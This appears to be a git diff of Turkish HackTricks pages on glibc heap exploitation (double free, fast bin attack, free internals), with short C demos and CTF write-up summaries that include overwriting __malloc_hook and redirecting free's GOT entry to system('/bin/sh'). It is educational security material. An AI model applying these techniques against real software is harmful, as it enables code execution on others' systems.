AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Bir bellek bloğunu birden fazla kez serbest bırakırsanız, tahsisatçının verilerini bozabilir ve saldırılara kapı aralayabilirsiniz. İşte nasıl gerçekleşir: Bir bellek bloğunu serbest bıraktığınızda, bu blok serbest bloklar listesine geri gider (örneğin "hızlı bin"). Aynı bloğu iki kez üst üste serbest bırakırsanız, tahsisatçı bunu algılar ve bir hata verir. Ancak **başka bir bloğu serbest bıraktığınızda, çift serbest bırakma kontrolü atlatılır**, bu da bozulmaya neden olur.
Bir bellek bloğunu birden fazla kez serbest bırakırsanız, tahsisatçının verilerini bozabilir ve saldırılara kapı açabilirsiniz. İşte nasıl gerçekleştiği: Bir bellek bloğunu serbest bıraktığınızda, bu blok serbest bloklar listesine geri gider (örneğin, "hızlı blok"). Aynı bloğu iki kez üst üste serbest bırakırsanız, tahsisatçı bunu algılar ve bir hata verir. Ancak **başka bir bloğu serbest bıraktığınızda, çift serbest bırakma kontrolü atlatılır**, bu da bozulmaya neden olur.
Şimdi, yeni bellek istediğinizde (`malloc` kullanarak), tahsisatçı size **iki kez serbest bırakılmış bir blok** verebilir. Bu, aynı bellek konumuna işaret eden iki farklı işaretçiye yol açabilir. Bir saldırgan bu işaretçilerden birini kontrol ederse, o belleğin içeriğini değiştirebilir, bu da güvenlik sorunlarına yol açabilir veya hatta kod yürütmesine izin verebilir.
Şimdi, yeni bellek istediğinizde (`malloc` kullanarak), tahsisatçı size **iki kez serbest bırakılmış bir blok** verebilir. Bu, aynı bellek konumuna işaret eden iki farklı işaretçiye yol açabilir. Bir saldırgan bu işaretçilerden birini kontrol ederse, o belleğin içeriğini değiştirebilir, bu da güvenlik sorunlarına neden olabilir veya hatta kodu yürütmesine izin verebilir.
Örnek:
```c
@ -92,9 +93,9 @@ printf("i2: %p\n", (void *)i1);
return 0;
}
```
Bu örnekte, tcache'i birkaç serbest bırakılmış parça ile doldurduktan sonra, kod **parça `h`'yi serbest bırakır, ardından parça `i`'yi ve sonra tekrar `h`'yi serbest bırakarak çift serbest bırakma** (aynı zamanda Hızlı Bin dup olarak da bilinir) oluşturur. Bu, yeniden boyutlandırma yapılırken örtüşen bellek adreslerini alabilme olasılığını açar, yani iki veya daha fazla işaretçi aynı bellek konumuna işaret edebilir. Bir işaretçi aracılığıyla veri manipüle edilirse diğerini etkileyebilir, bu da kritik bir güvenlik riski ve sömürü potansiyeli yaratır.
Bu örnekte, tcache'i birkaç serbest bırakılmış parça ile doldurduktan sonra, kod **parça `h`'yi serbest bırakır, ardından parça `i`'yi ve sonra tekrar `h`'yi serbest bırakarak çift serbest bırakma** (aynı zamanda Hızlı Bin dup olarak da bilinir) oluşturur. Bu, yeniden boyutlandırma sırasında örtüşen bellek adreslerini alabilme olasılığını açar, yani iki veya daha fazla işaretçi aynı bellek konumuna işaret edebilir. Bir işaretçi aracılığıyla veri manipüle edilirse diğerini etkileyebilir, bu da kritik bir güvenlik riski ve sömürü potansiyeli yaratır.
Çalıştırıldığında, **`i1` ve `i2`'nin aynı adresi aldığına** dikkat edin:
Çalıştırırken, **`i1` ve `i2`'nin aynı adresi aldığına** dikkat edin:
<pre><code>İlk tahsisler:
a: 0xaaab0f0c22a0
@ -122,9 +123,9 @@ h1: 0xaaab0f0c2380
## Örnekler
* [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
* `0x70` boyutundaki haricinde yalnızca Hızlı Bin boyutunda parçalar tahsis edebiliriz, bu da genellikle `__malloc_hook` üzerine yazmayı engeller.
* `0x70` boyutundaki haricinde yalnızca Hızlı Bin boyutunda parçalar tahsis edebiliriz, bu da genellikle `__malloc_hook` üzerine yazmayı önler.
* Bunun yerine, Fast Bin dup için hedef olarak `0x56` ile başlayan PIE adreslerini kullanırız (1/2 şans).
* PIE adreslerinin depolandığı yerlerden biri, `main_arena` içinde Glibc içinde ve `__malloc_hook`'a yakın olan yerdir.
* PIE adreslerinin depolandığı yerlerden biri, `main_arena` içinde Glibc'de ve `__malloc_hook`'a yakındır.
* `main_arena`'nın belirli bir ofsetini hedef alarak oraya bir parça tahsis eder ve `__malloc_hook`'a ulaşana kadar parçaları tahsis etmeye devam ederiz.
* [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
* Tcache kutularını ve bir null-byte taşmasını kullanarak çift-serbest bir durum elde edebiliriz:
@ -132,23 +133,24 @@ h1: 0xaaab0f0c2380
* `B`'yi serbest bırakırız
* `A`'yı serbest bırakır ve tekrar tahsis ederiz, null-byte taşmasını kullanmak için
* Şimdi `B`'nin boyut alanı `0x111` yerine `0x100` olduğundan, onu tekrar serbest bırakabiliriz
* `0x110` boyutunda bir Tcache-bin ve aynı adrese işaret eden `0x100` boyutunda bir Tcache-bin'imiz var. Bu nedenle çift serbest bırakma durumu var.
* `0x110` boyutunda bir Tcache-bin ve aynı adrese işaret eden `0x100` boyutunda bir tane daha vardır. Bu nedenle çift serbest bırakma yapmış oluruz.
* Çift serbest bırakmayı [Tcache zehirlenmesi](tcache-bin-attack.md) kullanarak kaldıraçlıyoruz.
## Referanslar
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) ile
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Hızlı Bin Saldırısı
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Hızlı bin nedir hakkında daha fazla bilgi için bu sayfaya bakın:
Hızlı bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Hızlı bin tek yönlü bir bağlı liste olduğundan, diğer binalardan çok daha az korumaya sahiptir ve sadece **bir serbest bırakılan hızlı bin parçasındaki bir adresi değiştirmek**, daha sonra **herhangi bir bellek adresinde bir parça ayırmak için yeterlidir**.
Hızlı bin, tek yönlü bağlı liste olduğundan diğer tipteki depolama alanlarına göre çok daha az korumaya sahiptir ve sadece **bir serbest bırakılmış hızlı bin** parçasındaki bir adresi değiştirmek, daha sonra **herhangi bir bellek adresinde bir parça tahsis etmenin mümkün olmasını sağlar**.
Özetle:
@ -44,7 +45,7 @@ ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be ab
```
{% endcode %}
Çok iyi açıklanmış bir kod içeren tam bir örneği [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html) adresinden bulabilirsiniz:
Çok iyi açıklanmış bir kodda tam bir örnek bulabilirsiniz: [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
@ -141,38 +142,39 @@ Eğer global değişken **`global_max_fast`**'in değeri büyük bir sayıyla ü
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
* Parçalar tahsis edilebilir, serbest bırakılabilir, içerikleri okunabilir ve doldurulabilir (bir taşma güvenlik açığı ile).
* **Bilgi sızdırma için parça birleştirme**: Tekniğin temelinde taşmayı kötüye kullanarak sahte bir `prev_size` oluşturmak vardır, böylece bir önceki parçalar daha büyük bir parçanın içine yerleştirilir, bu nedenle başka bir parça serbest bırakıldığında, içinde başka bir parça bulunan daha büyük bir parça tahsis edildiğinde, verileri yazdırmak ve libc (`main_arena+88`) adresini sızdırmak mümkün olur.
* **Malloc hook üzerine yazma**: Bunun için ve önceki örtüşme durumunu kötüye kullanarak, aynı belleğe işaret eden 2 parçaya sahip olmak mümkündü. Dolayısıyla, bunları ikisini de serbest bırakarak (korumaları atlamak için araya başka bir parça serbest bırakarak), aynı parçayı hızlı binde 2 kez elde etmek mümkün olmuştur. Sonra, tekrar tahsis edilmesi, bir sonraki parçanın adresini `__malloc_hook`'un biraz öncesine işaret edecek şekilde üzerine yazması (böylece malloc'un bir boş boyut olarak düşündüğü bir tamsayıya işaret etmesi - başka bir atlatma), bunu tekrar tahsis etmesi ve ardından malloc hook adreslerini alacak başka bir parça tahsis etmesi mümkün olmuştur.\
Son olarak bir **tek araç** oraya yazılmıştır.
* **Bilgi sızdırma için parçayı birleştir**: Tekniğin temelinde taşmayı kötüye kullanarak sahte bir `prev_size` oluşturmak vardır, böylece bir önceki parçalar daha büyük bir parçanın içine yerleştirilir, bu nedenle başka bir parçayı içeren daha büyük bir parça tahsis edildiğinde, verileri yazdırmak ve libc (`main_arena+88`) adresini sızdırmak mümkün olur.
* **Malloc hook üzerine yazma**: Bunun için ve önceki üst üste gelme durumunu kötüye kullanarak, aynı belleğe işaret eden 2 parçaya sahip olmak mümkündü. Dolayısıyla, bunları ikisini de serbest bırakarak (korumaları atlamak için araya başka bir parça serbest bırakarak) aynı parçayı hızlı binde 2 kez elde etmek mümkündü. Sonra, tekrar tahsis edilebilir, bir sonraki parçanın adresini `__malloc_hook`'un biraz öncesine işaret edecek şekilde üzerine yazmak (böylece malloc'un bir boş boyut olarak düşündüğü bir tamsayıya işaret etmesi - başka bir atlatma), bunu tekrar tahsis etmek ve ardından malloc hook adreslerini alacak başka bir parça tahsis etmek mümkün olur.\
Sonunda bir **tek araç** oraya yazılmış olur.
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
* Bir parça serbest bırakıldığında, işaretçilerin tekrar kullanılabilir ve tekrar serbest bırakılabilir olması nedeniyle bir bellek taşması ve kullanımdan sonra serbest bırakma ve çift serbest bırakma vardır.
* **Libc bilgi sızıntısı**: Sadece bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına bir işaretçi alacak şekilde olacaktır. Serbest bırakılan işaretçileri tekrar kullanabileceğinizden, bu adresi okuyun.
* **Hızlı bin saldırısı**: Tahsis edilen tüm parçaların işaretçileri bir dizi içinde depolanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabilir ve en sonuncusunda adresi bu işaretçi dizisinin biraz öncesine işaret edecek şekilde üzerine yazabiliriz. Sonra, aynı boyutta birkaç parça tahsis ederiz ve önce meşru olanı ve ardından işaretçi dizisini içeren sahte olanı alırız. Şimdi bu tahsis işaretçilerini üzerine yazabiliriz ve `free`'nin GOT adresini `system`'e işaret etmesini sağlayabiliriz ve ardından chunk 1'e `"/bin/sh"` yazabiliriz ve ardından `free(chunk1)` çağrısını yapabiliriz ki bu da aslında `system("/bin/sh")`'yi çalıştıracaktır.
* Bir parça serbest bırakıldığında, ırı kullanım ve çift serbest bırakma olasılığı vardır çünkü serbest bırakılan bir parçayı yeniden kullanmak ve yeniden serbest bırakmak mümkündür.
* **Libc bilgi sızıntısı**: Sadece bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına bir işaretçi alacak şekilde olacaktır. Serbest bırakılan işaretçileri yeniden kullanabileceğinizden, bu adresi okuyun.
* **Hızlı bin saldırısı**: Tahsis edilen tüm parçaların işaretçileri bir dizi içinde depolanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabilir ve en sonuncusunda adresi bu işaretçi dizisinin biraz öncesine işaret edecek şekilde üzerine yazabiliriz. Sonra, aynı boyutta birkaç parça tahsis ederiz ve önce gerçek parçayı ve ardından işaretçi dizisini içeren sahte parçayı alırız. Şimdi bu tahsis işaretçilerini üzerine yazarak `free`'nin GOT adresini `system`'e işaret etmesini sağlayabiliriz ve ardından chunk 1'e `"/bin/sh"` yazarak `free(chunk1)` çağrısı yapabiliriz ki bu da aslında `system("/bin/sh")`'i çalıştıracaktır.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Sıralanmamış parçaları birleştirmek ve bir libc bilgi sızıntısı elde etmek için bir bayt taşmasını kötüye kullanma örneği ve ardından malloc hook'u bir tek araç adresiyle üzerine yazmak için hızlı bin saldırısı gerçekleştirme örneği
* Sıralanmamış parçaları birleştirmek ve bir libc bilgi sızıntısı elde etmek için bir bayt taşmasını kötüye kullanma örneği ve ardından malloc hook'u bir tek araç adresiyle üzerine yazmak için hızlı bin saldırısını gerçekleştirmek için bir örnek
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
* Bir libc adresi ve bir PIE adresi sızdırmak için sıralanmamış parçaları kötüye kullanma ve UAF'ı kötüye kullanma sonrasında, bu CTF'nin sömürüsü, kontrol edilen parçaların bulunduğu bir yere bir parça tahsis etmek için hızlı bin saldırısı kullandı, böylece belirli işaretçileri üzerine yazarak GOT'ta bir tek araç yazmak mümkün oldu
* Bir hızlı bin saldırısının sıralanmamış bir parça saldırısı aracılığıyla kötüye kullanıldığına dikkat edin:
* Hızlı bin saldırıları gerçekleştirmeden önce genellikle libc/bellek adreslerini sızdırmak için serbest listeleri kötüye kullanmak yaygındır (gerektiğinde).
* Bir libc adresi ve bir PIE adresi sızdırmak için sıralanmamış parçaları kötüye kullanma ve UAF ile bilgi sızdırmak için bir bilgi sızıntısı sonrası, bu CTF'nin sömürüsü, kontrol edilen parçaların bulunduğu yere bir parça tahsis etmek için hızlı bin saldırısını kullandı, böylece belirli işaretçileri üzerine yazarak GOT'ta bir tek araç yazmak mümkün oldu
* Bir hızlı bin saldırısının sıralanmamış bir parça saldırısı aracılığıyla kötüye kullanıldığı bir örneği bulabilirsiniz:
* Hızlı bin saldırıları gerçekleştirmeden önce genellikle libc/heap adreslerini sızdırmak için serbest listeleri kötüye kullanmanın yaygın olduğunu unutmayın (gerektiğinde).
* [**Robot Fabrikası. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* Yalnızca `0x100`'den büyük boyutta parçalar tahsis edebiliriz.
* Bir Sıralanmamış Bin saldırısı kullanarak `global_max_fast`'i üzerine yazma (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 biti değiştirmemiz gerekmektedir, ancak 16 biti değiştirmemiz gerekmektedir).
* Bir Sıralanmamış Bin saldırısı kullanarak `global_max_fast`'ı üzerine yazma (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 biti değiştirmemiz gerektiği için, ancak 16 biti değiştirmemiz gerekmektedir).
* Global bir parça dizisini değiştirmek için Hızlı Bin saldırısı. Bu, GOT'u değiştirmeye ve bazı işlevleri `system`'e işaret etmeye olanak tanıyan bir keyfi okuma/yazma ilkesi sağlar.
{% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>
{% endhint %}

View file

@ -1,17 +1,18 @@
# Yığın Bellek Fonksiyonları
# Heap Bellek Fonksiyonları
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
##

View file

@ -1,38 +1,39 @@
# free
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** [**katılın**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hackleme püf noktalarını paylaşın.
</details>
{% endhint %}
## Free Sipariş Özeti <a href="#libc_free" id="libc_free"></a>
## Ücretsiz Sipariş Özeti <a href="#libc_free" id="libc_free"></a>
(Bu özetde hiçbir kontrol açıklanmamıştır ve kısalık için bazı durumlar atlanmıştır)
(Bu özetde hiçbir kontrol açıklanmamıştır ve kısa olması için bazı durumlar atlanmıştır)
1. Eğer adres null ise hiçbir şey yapma
2. Eğer parça mmap edilmişse, mummap et ve işlemi bitir
1. Adres null ise hiçbir şey yapma
2. Chunk mmap edilmişse, onu munmap et ve işlemi bitir
3. `_int_free`'yi çağır:
1. Mümkünse, parçayı tcache'e ekle
2. Mümkünse, parçayı hızlı bin'e ekle
3. Gerekirse parçayı birleştirmek için `_int_free_merge_chunk`'ı çağır ve sırasız listeye ekle
1. Mümkünse, chunk'ı tcache'e ekle
2. Mümkünse, chunk'ı fast bin'e ekle
3. Gerekirse chunk'ı birleştirmek için `_int_free_merge_chunk`'ı çağır ve onu sırasız listeye ekle
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
`Free`, `__libc_free`'yi çağırır.
* Geçirilen adres Null (0) ise hiçbir şey yapma.
* Geçilen adres Null (0) ise hiçbir şey yapma.
* İşaretçi etiketini kontrol et
* Eğer parça `mmaped` ise, `mummap` et ve işlemi bitir
* Değilse, renk ekle ve üzerine `_int_free`'yi çağır
* Chunk mmap edilmişse, munmap et ve işlemi bitir
